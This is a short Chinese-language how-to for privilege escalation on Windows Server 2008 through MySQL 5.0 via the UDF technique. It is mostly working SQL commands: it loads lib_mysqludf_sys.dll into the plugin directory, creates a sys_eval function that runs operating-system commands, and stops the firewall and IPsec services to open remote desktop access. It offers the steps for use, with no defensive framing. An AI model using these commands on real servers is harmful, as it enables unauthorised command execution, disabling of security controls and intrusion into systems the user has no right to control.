windows 2008 怎麼利用mysql（5.0）提權？udf.dll提權

上傳dll文件到任意目錄，如：

D:/RECYCLER/lib_mysqludf_sys.dll

導入dll,根據版本導入到windows或mysql 插件目錄(通常執行select @@plugin_dir 可看到插件目錄具體路徑)：
select load_file(‘D:/RECYCLER/lib_mysqludf_sys.dll’) into dumpfile’c:/windows/lib_mysqludf_sys.dll’

(高版本須要導入上面查詢到的插件目錄)

建立function：
create function sys_eval returns string soname ‘lib_mysqludf_sys.dll’;

執行命令：
select sys_eval(‘whoami’);

通常狀況下不會出現建立不成功哦。

連不上3389能夠先中止windows防火牆和篩選

select sys_eval(‘net stop policyagent’);
select sys_eval(‘net stop sharedaccess’);

UDF.DLL下載：

sqlmap lib_mysqludf_sys.zip